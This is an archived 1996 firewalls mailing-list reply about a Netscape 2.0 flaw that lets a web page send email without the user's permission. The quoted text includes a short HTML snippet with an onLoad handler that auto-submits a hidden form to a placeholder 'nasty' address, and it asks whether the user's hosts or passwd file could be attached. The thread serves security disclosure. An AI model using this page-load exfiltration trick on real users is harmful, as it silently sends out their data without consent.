Great Circle Associates Firewalls
(April 1996)
 

Indexed By Date: [Previous] [Next] Indexed By Thread: [Previous] [Next]

Subject: Re: BoS: Netscape2.0 sends mail to the world without authority
From: Jeff Fay <fay @ bliss . stetson . edu>
Date: Sat, 27 Apr 1996 10:24:33 +0000 (GMT)
To: "Steven W. Engle" <sengle @ hti . net>
Cc: firewalls @ GreatCircle . COM
In-reply-to: <v02120d01ada89a4b3562 @ [198 . 70 . 56 . 66]>


On Sat, 27 Apr 1996, Steven W. Engle wrote:

> >I noticed, while loading a web page, that there was a mailto: URL active
> >(using the "Easter Egg" Ctrl-Alt-T popup to see active URLs).  Sure enough,
> >after I cancelled that and examined the source, I saw something like this:
> >
> ><body onLoad="document.mailme.submit()">
> ><form method=post name="mailme"
> >action="mailto:nasty @
 secret .
 org?subject=gotcha">
> ><input type=hidden name="hi" value="there">
> ></form>
> >
> >A quick test on my local machine shows that this will send a message to
> >nasty @
 secret .
 org with the subject gotcha and the body "hi=there".
> 
> Is it possible to direct via html that an attachment be included with the
> email? Such as the user's system hosts or passwd file?
> 
  What is the answer to this question? Could someone send me email as to 
not blast the list...thanks

[rest omitted]

fay @
 bliss .
 stetson .
 edu  (Jeff Fay)


References:
Indexed By Date Previous: Re: BoS: Netscape2.0 sends mail to the world without authority
From: sengle @ hti . net (Steven W. Engle)
Next: Re: Firewall-1 vs BorderWare - market share
From: todd @ momentum . com . au (Todd Hooper)
Indexed By Thread Previous: Re: BoS: Netscape2.0 sends mail to the world without authority
From: sengle @ hti . net (Steven W. Engle)
Next: Re: BoS: Netscape2.0 sends mail to the world without authority
From: Mike Shaver <shaver @ neon . ingenia . com>

Google
 
Search Internet Search www.greatcircle.com